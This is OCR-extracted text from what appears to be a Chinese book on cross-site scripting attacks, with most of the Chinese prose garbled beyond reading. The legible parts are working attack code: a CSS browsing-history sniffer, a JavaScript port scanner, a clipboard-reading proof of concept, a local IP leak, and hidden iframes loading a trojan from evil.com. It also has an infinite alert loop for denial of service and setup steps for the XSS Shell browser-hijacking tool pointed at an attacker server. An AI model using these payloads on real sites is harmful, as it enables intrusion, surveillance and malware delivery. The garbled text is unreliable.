"http://www.sina.com.cn/",
"http://www.gg.com/",
"http://www.163.com/",
"http://www.sohu.com/",
"http://www.playsec.com/",
"http://hi.baidu.com/",
"http://zhidao.baidu.com/",
"http://www.tacbhao.com/",
"http://weibo.com/",
1
for (var 1 = 0; i < websites.length; i++) |
var link = document.createElement("a");
link.id = "id" + 1i;
link.href = websites[i];
link.innerHTML = websites[i];
document .write('<style>"'):
document .write('#id" + i + ":visited {color: #FF0000;}");
document.write('</style>')}:
document .body.appendChild (link) ;

("color");
document.body.removeChild (link) ;
if (ceolor == "rgb(255, 0, 0)") {
var item = document.createElement ('1i'};
item.appendChild(link) ;
document.getElementById('visited"') .appendChild(item) ;
} else {
var item = document.createElement('li');:
item.appendChild (link) ;
document.getElementById('notvisited').appendChild(item) ;

}
</script>
</body>
</html>

var color = document.defaultView.getComputedStyle(link,null).getPropertyValue

JELA_EACRS fRAFAE— A~ HTML 3CRY R, JEH Firefox $1T7F, Wil 2-26 Fras, i £ L i fig
# 3 Visited Fl Not Visited P 4r. Visited &55> 2 41 ()02 8 28 Uy al i (K1 3, Not Visited W28

Ul e 3o ) P 3t 310 3

Z BT AR SEBLX AN R, BT LR S fSE I a] A8 Us ) i) 94 5k 7 Rl R R oK,
http:/www.qq.com/. http://www.163.com/. http://www.sohu.com/%%, #RJ5iHidL JavaScript #1751, If
FIH] getComputedStyle() /i K AEAR N B BEHE M style JRPE, AN HH ) B0 88 e 75 U e ik i pod o

[5 4% 2= 8F 5N\ 01 Rsnake thAA TN KT JavaScript SCHRFAUMA, r# o) LLIE o i b

http://ha.ckers.org/weird/CSS-history.cgi & #i% POC, & 2-27 fis.

243 PEHEEEN

{E JavaScript/CSS history hack 36 L, SPI A 7 —Fh#r A 72, B0 A a6 3 1148

251 % AT I AT S
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ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

$£2&F XSS FAARIN

Mo, T RERGSAHAER?
JUERARTER PRI R 8, RSB P GBI TE R, T R (M PR, S R
F 0w R XS5 Bk M aR p . RS TR .

B @RED EBRV FEE B=e IAD snE

C A || fileyiC/Documents and Sett

file:///C;/Docum...or/ SiE/test.html

Visited C'SS History Hack Without JavaScript
« hittp/fww.baidy.comy
o http//weibo.comy
g‘[ hittp /iwwnw yahoo. com/

Not Visited =
i-é http/iwenw google com/

éhﬂpﬂww.wspacc.comf

» http v f.Q¢.CcOm B y
. hitp Jiwww men com/
. htt:,r‘\ ..163.com/ ‘r
& http:/fweww sohu.com/ E hitp /iwww ebay. com/
. http'rm-\ﬂ.-w playsec.com/ 8
- 1
» http://hi baidu.com/  httpifha ckers org/ [VISITED ]

# http://zhidao.baidu.com/
o http.//www taobao.comy/

Now click here to see that your mformahon has been logged.

a® 2-26 CSS history hack it a® 2-27 Rsnake i POC

WIAT T i%, JavaScript/CSS history hack £ A & HH JavaScript A1 CSS fEF 5 H F i 9] i (F14F
€ URL REHL. Wl AMEetE, o BAGE it — 2 R A ——3R U P 3 245 B

SEfr b, eI R B — PRI BT SR P T R U ) (1 9 5 51 R il sk R oK, SRSl JavaScript
i [ SEB) A BEAR R R R A, AT S B RS R A VT ) LAY, URL, HAM, XHE)
URL 2Rk [ 8% A if = ) URL.

MR AW S ) URL W] ELXFFREL: (BT MR SIE (AR, REWMATHANE, 1
i (484 ) el fa ol WAk 2 — A s, ik bk # nl g 3R I 52 ¥ URL, & 2-28 Fif
2-29 Fhas.

'-'."" lﬁ }ﬂlp h'rm lzudu com's"-d‘limkiv lrp=0lr“ spi= 3l|nputT‘l094

Ba:éﬁ'ﬁlﬁ i !iﬁ E ﬂ MP3 g_ M WE FEw

| ¥s5

AE2-28 HEEEE "xss

@ http://wew. google. com. hi/sear ch7hl=zh-CHsour ce=hplo=usshbtnG=Googl e +REEXRA0NICKETKBAXAZ Am e t 4= v
A 2-29 7F Google 8 F& “xss”
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25 EAUEBME

R S R RER, IR EIE R R AR IR ST, BRI JavaScript RS W A U ]
UL FEERE, AT E PR A AR 51 ¥ b pTL i A.

25 K 20 7] EE

Fi I JavaScript AEFRINE S IR IOVF S5 B, GBI AT DR P Huhk, PR D%, B
AfREL ], RIE S s S A A2 AL ?

Hsle, 2/ e SRR HUR R A LR Bk i) — M2 4, GBI JavaScript/XSS $&IAT FH %
Pt B, EERHEER s R k.

Rk, RO ST F ] JavaScript SREIC A K 2 5 S B

2.5.1 JavaScript S:Him O34

X EARBEAT Y 1 457408 0T AR 3L AR B ) T SN 2% IR 55 6 7Y, IX 2800 4% il 55351 55 9 1 5 AH
7, Bltn 21 ¥ XY FTP fiR55, 3306 i XM Mysql 95+

{11 JavaScript BIA W] AT — AN D088, Wi R7E XSS thizflkT)he, MAETE XSS I
i £ ) s 4 FH P E LTI 3 14 H R

JavaScript B P ACH 9 £ b () EHLHEAT 3 V0, AT 0 T AR AR 9%, X T T 08
#1411 Jeremiah Grossman 5 Robert Hansen (Rsnake) % ELH.

I I A S B 3 14 1) JavaScript {08S Ol T www.gnucitizen.org):

<form>
<label for="target">target</label><br/>
<input type="text" name="target" value="www.gnucitizen.org"/><br/>
<label for="port">port</label><br/>
<input type="text" name="port" wvalue="B0"/><br/>
<p>you can use segquence as well 80,81,B080</p>
<label for="timeout">timeout</label><br/>
<input type="text" name="timeout" walue="1000"/><br/>
<label for="result">result</label><br/>
<textarea id="result"” name="result" rows="7" cols="50"></textarea><br/>
<input class="button" type="button" value="scan" onClick="javascript:scan(this.form)"/>
</form>
<script>
var AttackAPI = |
version: '0.1°',
author: 'Petko Petkov (architect)’',
homepage: 'http://www.gnucitizen.org'};
AttackBRPI.PortScanner = (};
AttackAPI.PortScanner,scanPort = function (callback, target, port, timeout) {
var timeout = (timeout == null)?100:timeocut;
var img = new Image ()

img.onerror = function () {
if (!img} return;
img = undefined;
callback(target, port, 'open');
|

img.onload = img.onerror;
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2% XSSFIAAKXEM

img.src = 'http://' + target + ':' + port;

setTimeout (function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
}:
AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout)
{
for (index = 0; index < ports.length; index++)
AttackAPI.PortScanner.scanPort (callback, target, ports[index], timeout);
}:
</script>
<script>
var result = document.getElementById('result'):
var callback = function (target, port, status) ({
result.value += target + ':' + port + ' ' 4 status + "\n";
};
var scan = function (form) |
AttackAPI.PortScanner.scanTarget (callback, form.target.value, form.port.value.split
(*,'), form.timeout.value);
}z
</script>

PSS AT IR, ARG A KAE BOFHRAS, I A AL R, Wi 2-30 fis.

HELE o ﬁj C:\Documents and Settings‘Administrator\SLE\test himl

target

www, baidu. com

port

80, 21, 25,110, 143, 443

you can use sequence as well 80, 81, 8080

timeout
1000

result

wni. baidu. com: 21 open ~
www. baidu. com: 25 open

wyw, baidu. com: 110 open

www, baidu. com: 143 open

www, baidu. com: 80 open

www, baidu. com:443 closed

] scan

A€ 2-30 fER IS HHMEHO AR

252 #HBFHEMHRAE

JavaScript 17— MRGRA T, B AT LUERAE 2 7 i 16 B WG 6 P 25
IXH, EEH ARG ARER, BUGRY XSS BAMT, EMEENAHAXR?
SEIXFEN), AR R M U R b, 202 SRR IS — Le (S B, XLy BT
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25 EPARERNE

e H S, B% s BuE. RN XSS i, H20 5k el LU A ™ 5T
JavaScript fCRD Eh 52 7 i (0 B EH,  Aifo F X L8 A B
JavaScript ' 3 EA# f| window.clipboardData X} % AL ER BY SR (1N 28, HLLF 3 #hyik:

clearData(sDataFormat) BB N5 iR P 5 E R A LR,
getData (sDataFormat) MBI RS AR AR B = 00 B
setData(sDataFormat, sData) “AHMSIRETI5EER R,

T POC i 8 Mo 1 ] il ik JavaScript ¥ fEBY WS M, X BHCIE S FE7E 1E %A 88 |
AT -

<form id="test" action="test.php" method="post">
<div id="someData">
<textarea rows="4" cols="40" name="test">
</textarea>
</div> i
<input type="button" value="EHFWWHHE" onclick="setClipboard()">
<input type="button" value="EENMEAZE" onclick="readClipboard()">
<input type="button" value=";#BE" onclick="window.clipboardData.clearData('text');">
</form>
<script>
function readClipbeard() {
alert (window.clipboardData.getData ('Text") )
}
function setClipboard() {
var t=document.getElementById("someData").innerText;
window.clipboardData.setData ('text',t);
}

</script>
{#H Internet Explorer 3T 77 & LR {RAG M HTML 3CRY, 7ECAMERHATREAZE, WA 2-31
Eﬁiﬁ a

AU e [RGB ] #8l, # o [ARESIMBRA ] $dl, St —ADXHEHEH 2
ABEBCP A, Wb 2-32 Fras. Al LIER] el 3R A R, HIRESR, XK
o R A B S BR BeAT RAF N, BTLAFRH — MR “null” {5 BIOXTTEHE, QN 2-33 Fros.

HEE 00 @10 \Documents and Settingsihdministrator\Bil\test hial

HERHIFFMR, X5

[ SaEENE | EEENEAT | (#F)

F - g ¥
Nicrosoft Internet Explorer (9%

i ?TC'\Docwnnts and Settings\Administrator \EI\test, hind

EELHIHF EMH, 255!

[ EAEERR | [ SEONRAS | (#9)

aE2-31 ERBALER sE2-32 ERUBBNNITAR
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#2E XSS FAARET

HuHE (@) @_j C:\Docomenis and Settings‘Administrator\E{\test. hial

FE&IF HMWR, X55!

Nicrosoft Internet Explorer &l

A 2-33 HEEABAZABNIMR

253 FHWEFPim P ik

FIH JavaScript BIAACHS, A AEMIRIUE /- om ) 1P Huhk .
SEBETh RERARES I T .

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>JavaScript RBE Pk TP</title>

</head> )

<body>

<script>

function GetLocallPAddress()

{ .
var obj = null;

var rslt = "M;
try

{
obj = new ActiveXObject ("rcbdyctl.Setting");
rslt = obj.GetIPAddress;
obj = null;
}
catche)
{
}
return rslt;
}
document.write ("{fRE) IP&: " + GetLocalIPAddress()):
</script>
</body>
</html>

VL RS EAE IE HigfT. EBTh, IE w e ot KA 2-34 FroRsixd e, My [R] %
FHEPRT, 453k 2-35 Fiaks.

FERE: XEEMHRLAM IP Haht. W RAHTIRESNA 1P bk, W] LURFE— L4240t 1P A0
3k, W www.ip138.com, J5ikinF:

| <seript language="javascript">

70
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eI

xml=new ActiveXObject ("Microsoft.XMLHTTP");

xml .open ("GET", "http://www.ipl38.com/ipZcity.asp", false);
xml.send();

kk=xml .ResponseText;

i=kk.indexQf("[");

ie=kk.indexOf ("]1");

ip=kk.substring(i+l,ie);

document .write ("{#f) TP #UE:" + ip ):

</script>

&0 \Docunents and Settings\Administrator\SS@\test. himl

I_n-‘l.l.-.rnc-..t Ezxplorer gj

£ S B

S 4270 \Documents and Settings\Administrator\SL i\ test. hinl
CEo ) EFw i ada
fREIPE. 192.168.1.105
A 2-34 WHEEREF "2 aE2-35 HEMIP

IXBt JavaScript FIJH] Microsoft XMLHTTP #5244 H %1 http://www.ip138.com/ip2city.asp Ai% T
—A~ get iR, RJFHE TP f58, PATSIR WP 2-36 P

AT e]C:'\Docunent: and Setting:\idnini:trtlor\i

o b R e TR

RO TPHERE-R - 119, 1 39, 215

aE2-36 ZHis5hE IP

Hidt T WL, 3z HIRE2E JavaScript 5275, % Al AR 5 28 ORI P 3 0 AR B4 8.

Hin BB R4

MBERPREE Lo, XSS Bl R e R RYE. %55 XSS Witi| T#ahX8Gti, RAEEH
Fr 5 i) T A R G R ok A 2 s A el R O A BT B BBl 2 KR SR, R i
)P, B 2 LLEH P 1) Web 0 B8 v P AT B s ARG .

AN, LU A D XSS R TBt, # F ARSI A WA XSS &/ ¥ il .

261 MIRED

AL b, “P oS 2N HIRR AN KK, KDL HREER
Frs AR TS 55 04 LA T k2 R B A ) TR 5 o FEBALE R (R I 0T, 72 D 3 A R B 38 AT T AR SRR .

R U TS PR TR AN, HUE 9 BOA T B B e PR AR A

I, PSR S Bl AR e, S B AR ZE S W8S h AT o TR T (AT R R R 19
S SN VRS (I 7S <30 8
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2% XSS FIAAXENNT

WY LT AT IR, MRl i B o DR SR BRAY . Bt 7E XSS Mot Hl <iframe>
PR3, ARSI R R

[ <iframe src=http://www.evil.com/trojan.html width=0 height=0></iframe>

RIS, T <iframe>HREE K R RER TR REARBCE N 0, Bt AR P 2E B 50 T A 52 R B
A8V 1) 1 IX AN BT

B HE T 1 9 T ZE R AR P B Re, X BARRSR RIAT AT, $5 530 A 22U i nAR T R BT
I (¥ BL T

Yk i a] LLR A JavaScript A Z)AAI# AN E O RAMITAS, BEREMT.

<script >
document.write ("<iframe src=http://www.evil.com/trojan.html width=0 height=0></iframe>")
</script>

2.6.2 DOS #0DDOS

DOS (Denial of Service) f&J54E 48 k%5 Brikr, XA B <A H K E MR “w8t” HEEFEHL,
FERBIE FBORGWE, A H bR EHUICIEN G P A AR

TR At h, Gl A B JavaScript BIACHD, 7] gL 5] —Ldh 46 i 45 Wi
HHAFEZHFAND LS, AR

I <script>for (;;) alert("XSs"); </script>

HEZATARSRAEAE A HTML SCRS, FEHTB AT IF . BEm Web ) 5088 < 76 TC PRAFER R4k
A& AT alert(Ofir 4, BIAKTHh T AT IF—0HEHESRIE X S 28 F P o<k, i 2-37 o

A7 B Rl 2% RERT L IX R FEEIR, 4N chrome, £ HHAHRY & O 4@75 2 7 48 1L BoRxHEHE.
Wik 2-38 fi7n, A “HRIE” BahiifE s, WA TES R N EE.

JavaScript B

xss
[ SR b TR £ A

CoE
aE 2-37 SEHAIEHE A& 2-38 chrome B 1 FEAEER

XAES T, TR TCECHAT RS O, AWM AEAES R Y a3 .

AL T AR

| <meta http-equiv="refresh" content="0">

KB £ “oRAE” 52 A N Wi BT 4 A .
ifi DDOS (Distributed Denial of Service) WM IELRS Sk, S H AT B L% XA
AE L 9 Bt T B Bk & A RS 9 _L BT L7310 Zombie (7, EPEAUH M EHL, w ik
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B i

HARR BN B MR R 45 Bty in P 2-39 B

fiir

““.‘ ”“‘l
a8 2-30  F A3 XSS 3k DDOS

Kriti # il XSS AR ACHD IR — A 0 3l FE L AW ki ok, sl it XSS Bhs K&
W38 S il e A i

T XSS (] DOS/DDOS Hitifigxt Web k488 r=4 B X Em, HWaimiR#id i XSS Wrom,
"ETE Wl () A AR AU g R b, RS2 i 3 IR A% 4 A I K R SR, X i R R R iR
S A X IE 4 e 45 Bt (DDOS).

2.6.3 XSS Virus/M\Worm

XSS Virus/Worm KL T A HEHLF 6 LR ERF, AR, G0, s TS,
G P RAAG R, FEER P mPIrEEEGE, BUUGHE A AREHIEIMEGEES, A
P JEF ] XSS HiASEHUR, RN, P4 A JavaScript. Vbscript 252 1 i i5 5 985, T LAZE Web
V& L RERE 1T B R4 1) 3 FF

H1F JavaScript %18 5 £ #3F Web 2 Ui (324, Pl XSS Virus/Worm (RS PEIR 3R, AEHR
T2 B ERRME, Rk, EERATTmER . MR AFRICRES, WRAH XSS 217Kt
DS, ™R AR

g4 B A XSS ¥ & MySpace () Samy XSS Worm ki B4, i 19 % 1) Samy
a5 T ABRE—H XSS Fuhg .

4 Samy 7E H ) Myspace 7% [a] (f) N A /- AL HE . — Bt JavaScript {005, R4S 2556 1t {8 A (1)
ASEAMARE P PATXBACHS, ¥ Samy b IF A, RIG&EHRSITIFEZZHEENDANN, 5
NER JavaScript U, M R AR ZZHEEMARM AL BB,

P&l 2-40 iz A Samy ¥ S 85 A E fo 24 /NS P9 ) I L B .
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B2® XSSHAAABS
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1,000,000

1000000

800000

600000

359,000 136,000
275,000

400000

200000 —
i 35,000

Code Red I Code Red 11 Slammer Blaster

A 2-40 Samy IREFEEE 24 /N ARBRNE
KT XSS Worm IEE N, BAIESLES 5 T Ndd.

0
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5301 XSS fhRA TR ST

EATES, WATVEHS LR RN XSS T AY XSS MFHFE.

b X EA 4 8 IhBET R

AT AT T2 1) 4 3K T HL 435 & Firebug. Tamper Data. LiveHttpHeaders I Fiddler, ‘&1170a] F 3l
A Web F I FEFFoh (B8 il (ERIUAb % i) . IXSE i LA XSS IR TR % mT LA
—Se [k TR, — B Rk, ER T RRAER I ERMMEM . AE4r TR AT e
FIC 3BT 2 1 S 0 IR 55 2 0 2 1) ) HTTP 3@ 45, JF HLAE S BIA5 5 HTTP 08 00 0 7 SR Ao R 45 8
16 TR sl Wgs o 58— ) BB SUR I BCR . Bl & 2, XS T R 4EW A B T RA1E M2
BT XSS #iF .

JE M 4411 4 3K T 147 AttackAPI. Anehta. XSS Shell #l XSS Proxy, ‘E1I185) /2 ¥ ki i A< iy #)
FIHERR R B i P 6 o X80 T RO B 2 AT R K, LAERSI Web 2220, 58 AT AR X
Yo T AT #2238 E IR .

Firebug /& Firefox i Y 4% ()N J@4E1F, /& Joe Hewitt JF & MI— N2 ThAEM Web M FHFEF
IAAE, AERZEHBh Web JF R BB 240 Web NAIFERFHI NS LAENG. Z TR TFEHEK
uhfie, iEshABES HTML /805, #% DOM &5y, WA MIER i sRATma R . 8 A0 I ST £l oL
MifY) CSS. HTML F1 JavaScript % .

® %% Firebug.

4% %% Firebug ML FEIR AT L, ML 4TIT Google TLI{E % “Firebug”, M diiS R RME 10,
NG LA #] “Install Firebug” T, ik 3-1 fios, fdizediipny,

LR T JG )T Firefox, fii “ THR” ¥/, R/GiEHF “Firebug—fTJT Firebug” 4, i
3-2 fhin, REHZEH R [F12] i 3) Firebug.

{177 Firebug J5, HF| 6 L EAFRERH, WE 3-3 Frox, 252 #EH . HTML &%,
CSS 4% MASiA4. DOM A F 5. WERBIEM.

o EihlG.

P €5 6898 o 24T SLn ) JavaScript #5R LUEY, HEHUR AT SCHERAT S, A
G al LA A BACHD 2335 2R 0 AT B 1)
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Roxilla Farsfox

What is Firebug?

hasd Frallures

Firebug

Web Development Evolved.

ra inspect HTML and madify stvde and wal time

User the st adv: vatoript debugger avaadte fo

AN

lavout i

#  apowiately anabpe networe usage and

=0 wdp ¥Ry FEe HER IRAD BRH
a i far B3 | * Q rapyigediresug.coms O - O B
«* Firebug e

Documentation
FAT anel vl

The most popuiar and powerful web development tool

Community

Get Involved
sk R COG, CTHRTE

TenCior s

Install Firebug

. Friss e Spem st

3 browser

More Features

AaE 3-1 %% Firebug $&#F
HTE) GEECNIR R
=1 ErwEs Cirl+¥
el TRD Ciel=!
. Lot Y]
¥ Sersonas »
Java Console
i = ERTE L3
B Cirl= Shifts) EFERO=T tirebug  Crrl+7L2
REER 7 Firsbug Shift+F12
P RS ¥
Lirl=5nnt+
Carl=Shif+ el A »
= y E
Firglzug &= ¢
EETE Cird
Live HTT? headers Javascripr |E Cr
WE Crrl+Ghift=
= Cirl-shif-ak -5
A Ema- | wERZE | =T
Aa[® 3-2 $TFF Firebug
W . *EBEY  WTML  CSS DOM S
af® 3-3 Firebug AIThEEIREH

JAREHIG, Ei%E D RESEE R M S1TMmA, Ll “>>>" JFk, fEXEMA JavaScript 8

)5 4% [Enter] S8ERITTAAT, A 3-4 Biog.

n SR B A KA, W LA TG 1 R Rk, b AT A%, sk T R
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31 Firébug

AL el VI B iy AT ZATEEN, ARG LMERS'S JavaScript 1UHS, fCRSHIA S5 Hili
F7ii) 24T Y felipar, wpE 3-5 pfos.

EX MA iGE 0@ WPl MM NE mm

[2578]
e S X Fiddier: Disasied %
AfE 3-4 EEHIEHT IS
[ o9 ¢ ¢ oMy WT.. css W& ooMs||P ji=[o]o]
B= F3 ER =y #:E TE= &£ il-?rvé'*=i5:‘n'a-,-'eec-coﬁ1'. -

» » conscle logi ' Hello World® postifid:1,
date"May 1,2012°)

Hellc World
T Hay B ageeeid1 b ® | -
aF 15 playsec.cor pestlidl date "May iCDﬂSD'E.DI':,II:
1.2012 T console.dinx: |
+ post Object { id=1 date="May1.2012" }

alE3-5 A IS 4¢A8

o HAFBMHTML G#.

& Himl &F D, v CUEREH I YaT LB h A8 HTML o3, s & E Thhk
IR A, HAR Firefox 4L 7 ILTIThEE, (B8R0 SUE BT SCAFA 8 IS, @ik A &
HTML 5 2H AZ K, 1 Firebug W B AT AT WEDFTF A%, Bon RS S 22 98406

Mty [ fef b oo ] Dhfigdcdl, W 3-6 For. Hthrs MR N E EinHx,
W SRS B2 s o R CE, Wk 3-7 BT, 7E Himl £545 8% 4914 B3 XM ) CSS. DOM FilAf )
Lo FATAT LR DU ) SCA ST, X2 Firebug BESIThAEZ —: AT LASHAESR
M, HASMERD ERBEIRRESE D, W 3-8 fix.
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SCRFE N IERR .

FIE—T. RN - Nozilla Ficefox
waE Wi FRY FEE #=E5 IRD WaiH
- g 2 o s 6 & hetg:/fwvoec haidu.com; ! - : Pl h
] E— . s . .
yEagigE
Be
Bai'@'ﬁﬁ
- — —
[ T L ETETECE TR BT
L EE*—'F
#. 5% £ o B v mwa | wTMur | c3s W% pom g R (S019)
i m penv - divem - body - himi | et i!'m!: L5°] Dw .
S———
* s ide . farmt-sare. g
=« et | margn Q0 gy
= - pua  <p =iy’ -
— wfepidm s !
# adieaderte
i L behy e, o TP ..
|—*$§immq’ﬂ¢bﬂﬁ P’#m o = F '{ Fidder Oisabied ¥

#H/ HTML T H

aE3-6 ¥ "PEEFNAPHTEK" HE aE3-7

E)HE—T, &0 - Nozilla Firefox
= @dE ¥R BEe =2 I =uH
- v g B3 & hitp: fevny baidu.com, SRl B FEl B h
& am—T , ek F
ot 45
Bai®&EE
ﬁ 5512 XN MP3 Bi= MF ME
BE-T
v
ey IR 4 = - WA HTML  cs5 EF DOm P SEE
¢ W a pFav . divem < body - himl gt | it &8 DOM
v, www.baidu.com (B 1 7T 2
bt =ik
it 14pw
| &t www. baidu.com (B 1 77}
<san vl colior =0000CC. "
e sk # % Fiddler: Disabled &

A 3-8 BNSBAHML TE

* MHEMEIRN.

#4 Firebug [ 9ATARE DS “M4”, W 3-9 Bk,

bR P O A P 5% it B

i XMLHttpRequest %% i I 45 88 ¥ &2 tH— MK, Firebug

2l ik GET =K
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3.4 Firebug

POST WA, LLAEFIR LGS BRINZ, WME 3-10 . MEHIRAIATLIFF], Firebug fERs 71 i
Hif¥) CSS. JavaScript LA I 0T+ 5 | FH (6 B 4R\ BT T FE (4 B ] LUAECIR PR 2 B0 L o, a8t A SR
FAT LA ISRk . HTTP i 3K k5 B R HTTP Wi k(s B 2%

My € o = - pms WML css DoM A~ £ - | SEE
b W B W OHTML S5 U5 XHR O EE fash mx
+ GET www._basmdu.com 2 bashu.com 13E “
+ GET baidu_sylogolg badu. com L6KE
+ GET gs.gif S b 00 918
+ GET i-1.0.0.png badu.com &OTH
+ GET bg-1.0.0.gif Dacchu.com I4KE
+ GET bdsug.js?v=1.0.. etk com 36K8
+ GET hps-1.1.j5 S om 4258
_IMmER .'.;--;_!. R S T LR
a[E 3-9 # A Firebug & MI&%
&t g = - omE HTML  csS oM s~ P =15 0]
e W= S8 W OHTML C55 JS XHR EFE Flash WX
=, L ke " xih WES L &
= GET s?wd=ajaxl bady, com 11.3E S
#4 Headers MWEE HTML
W SRS
Date Sur. 14 Aug 2011 585007 GMT
Server BWS/10
Content-Length 11331
Content-Type text/hirmlcharset=gik
Cache-Control private
Content-Encoding gzip
Connection Fzep-alive
HELES
Host v baidu com
User-Agent Mozilla/S.0 Vindows: U windows MT 5.1 zh-CN; nv1.9.2.131 Gecke/ 20101203 Firefows3.6.13
Accept test/himl apphication shtmi=xml appiication/xmlge.3 "/ q=0.8
Accept-Language zh-cr.zhgeds
Accept-Encoding gzip deflats
Accept-Charset GBI312utf-8.gel77gelT
Keep-Alive 11°
Connection kssp-alioe
Referer hitp /. vwww baidu.com;
Cookie EADUIC=AES0CFIELCTLIFISE3ST030ICo0ETILIFGE=1 USERID=£87936782374057¢d755 BO_UTK_DVT=1
+ GET baidu_jgyleg . bt Sl 1o
+ GET i-1.0.0.png bae 7 S 1
+ GET bg-1.0.0.g¢ bag i} 1o
+ GET c.gif?t=08q= . buaichy. com e SRR -
+ GET w.gif?g=ajax sohgh. by, com . m F)
+ GFY hdeun je?u=1 na L e IEKE Py .

® DOM frfds.

aE 3-10 ZEHEHTTP Header

DOM FrBA & 7 RRMXN G U L 8. JfF, WIL{ER Firebug i) DOM #LI, WL A
AT T AR TR A A4, P 3-11 TR,
Firebug iS5 & — B AERTSRA MY “Hit 72707, AMEYIRAT T 08 5 2B A (AT i PR AIERR At
JifE, i B0 A7 B T 3RATTI AT 43 # XSS il .
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%3% XSS MHAMTAB

i B eea ML oS5 B DoM~v [ L
window
balser i |
+ bdimeHW Object | hasF=1 |
+ bdlogin El
+ bds Object | se=..]. aladdin=|..] |
+ bdsug Object | sughkeywatcher={..] _M5G Q5_=[.) ]
+ bdu Objeet | |
const_callback_list 2QIN_SUCCES
+ dParams Object | demMNedes, width=395, more.. |
+ dictAlaFiiP Object | loaded =false |
meTar
e E1 137 S204SRRAL S R—
i EE

AE 3-11 DOMIE

77| TamperData

2P Web N HREF M 2 ER, SR HEX HTTP WiREAT TRz &S o, XM
# Tamper Data 10/ T.H.

[FIFEAE A Firefox (4, Tamper Data )47 pS 2 M 0 55 HI . shfigom k, HEERE HTTP il K #RE
P . Tamper Data [ SO “ B8l 7, & nl LA A& L HTTP/HTTPS ik POST 2,
ARZ I RE A NENE.

E RN PR PR e, e FEMht:

| https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

i PRI RN, WA 3-12 Fros.

Tamper Data

by Adam Judsor

A 3-12 T Tamper Data

$RJ5, 7E Firefox (f) “ T SR EH “Tamper Data” 4, #M£3 4 Tamper Data () &
1, G P 3-13 Jro, Bl A0 50 S0 1 DR 2 HH )4 — A HTTP il sk B L) I 1) W 15 75 £ 4 Tamper Data
sk F k.

M 3-13 sl LLF$|, Tamper Data St %t 3 #0441 k% .

B (B HTTP WRBEES R

B EBy (KEFH): BRHAME HTTP i KL 6E .
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3.2 .Tamper Data

E=E CHEFH): BxHXT A HTTP Wi KL 3545 B .

! Tamper Data - Ongoing reguests
Stop Tamper Clear QOptions Help
Filter
Time  Duration  Total Duration  Size  Method Status  Contemt Type URL  Load Flags @
15 . B8 ms &3 ms 7584 GET 200 applicationjvr... b QAD_BYRASS ..
. nfams unkn... GET Cancelled unkrown b
h
60 ms -1 GET applicationsx-u... b
23 ms 8ims -1 EET 304 image/gif b
8& ms 2 ms -1 GET : b
e B MS 26 ms -1 GET ki LOAD_NORMAL
15:05:.... 41 ms 41 ms 3 GET p QAD_NORMAL
"‘%equest Header Name Request Header value | Response Header Ma... RespcnseHeader\,a_lue_
Host W idu.com : Status Ox - 200
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@1 htep [F127 0.0 1/ adminTzension=28)eval=documant Locati snS30Z7ht tpRIAAIF T Faww. baidu zond2Z

Submitted Script Expression: document. location="http://wss. baidu. com” to session 2

. Evaluate:
return te _main

2

document . location="ht | Submit

AE3-32 EEEDMA
£ xssshen

XSS Shell J& 4~ #F41) XSS Biti V& (http:/labs.portcullis.co.uk/application/xssshell/), @] L/
P52 Ja TR R B AR A A .

fd/] XSS Shell A Z 5@ ASP fift55a%, i {8 W, FAMEA] AspServer #ATHIR, 4 XSS Shell
PR, PR AR e Jm i SO S 2 iR H X, B 3-33 i,

Rk, TEX XSS Shell #H17 A E -

(1) 1&0% xssshell/db.asp XA}

IX L S U SO B A R N R B, R B SO
| Const DBPATH = ", .\db\shell.mdb"
# “Const DBPATH=""J [Tl f) A 54 AU M Lty 2 1) 80308 P e 4%
RIG B XSS Shell PR G MERNEI, HIAUT W .
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3.6 XSS Shell

If Request.Form("pass"™) <> "" Then
If Trim(Request.Form("pass")) = "w00t" Then Session("level™) = "ok"

TEE WEE FEY WRe IAD #ho
QRe- ) ¥ e oaxux [ X

SV P \asp "'“’

-~

E AspServer. exe ’,J il
”J sanple_wviclim ___J zeeshell

T readme tat ‘o wssshell asp

d

| URMTRRES

CJ BRR—TETAR
; SR WREENE
= ] 1\13 LAEENE

bl HERTHE

HEN N

< THER 5
) TE
() HEIE
j Wi
N FLESRE

532 o Emam

A 3-33 TFEL XSS shell

XHEATPAF 2K, XSS Shell (FIBRIAEID L “w00t”, KE A8 “woot” X8 78R 5 # L &
A H RN,

(2) B xssshell.asp 1.

FTJF xssshell.asp 4, %% SERVER 45, R F:

var SERVER = "http://attacker/";  //EXEHIE

// This file's name

var ME = SERVER + "xssshell.asp?p=1<%=VicAdd%>" ;

// Connector file (can be in php, cfm, pl etc. just stick with implementation)
var CONNECTOR = SERVER + "xssshell/connector.asp";

// Commands file (can be in php, cfm, pl etc. just stick with implementation)
var COMMANDS_URL = SERVER + "xssshell/commands.asp";

R SEE AR, AT LA Server MR [ S/ IP, W1 http://127.0.0.1, #RJ5 5 54 ME.
CONNECTOR. COMMANDS_URL f1f .

ARG EH, 00T LS £4T IF http://127.0.0.1/xssshell/ T (i, W1k 3-34 fras. MABSUGEH
IR LIRS S, A E kA B XSS Shell (85 B fm, Wik 3-35 B,

R hWttp://127.0.0.1/xs=shell/ — Windows Internet Fxplorer
THE ®EQ FEFY W IAD B

x| 2 n o mm o cemR £

& herp /11270 0. 1 /xzeshell/

.ch;n.

A% 3-34 &3 XSS Shell

o1
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#3&F XSS mt:ﬁmlaﬁrjﬁ '

ME T LAF 2], XSS Shell 5t =547 3 #4041, Ao hThRepis sk, ik 7eLR H bx
FIZe, AWK H&IERXK .

B 155 Shell Admin
@ WD EEO Ry ITAD Wi

Yindows Intermet Bxplorer

= - w] @ oo Sremr @

G @Y haip: AFEET 0.0 1 Fussshellf?

:(
i
F]
5]
Jl
&

>
v
v
w
=T
o

arsmeters ¢
& T P Intarnat

AaE 3-35 XSS shell &

BATTAT LA ] XSS Shell H 47 ) “ Sample-Victim” FE4TMK, & 3-36 fran. 4T http://127.0.0.1/
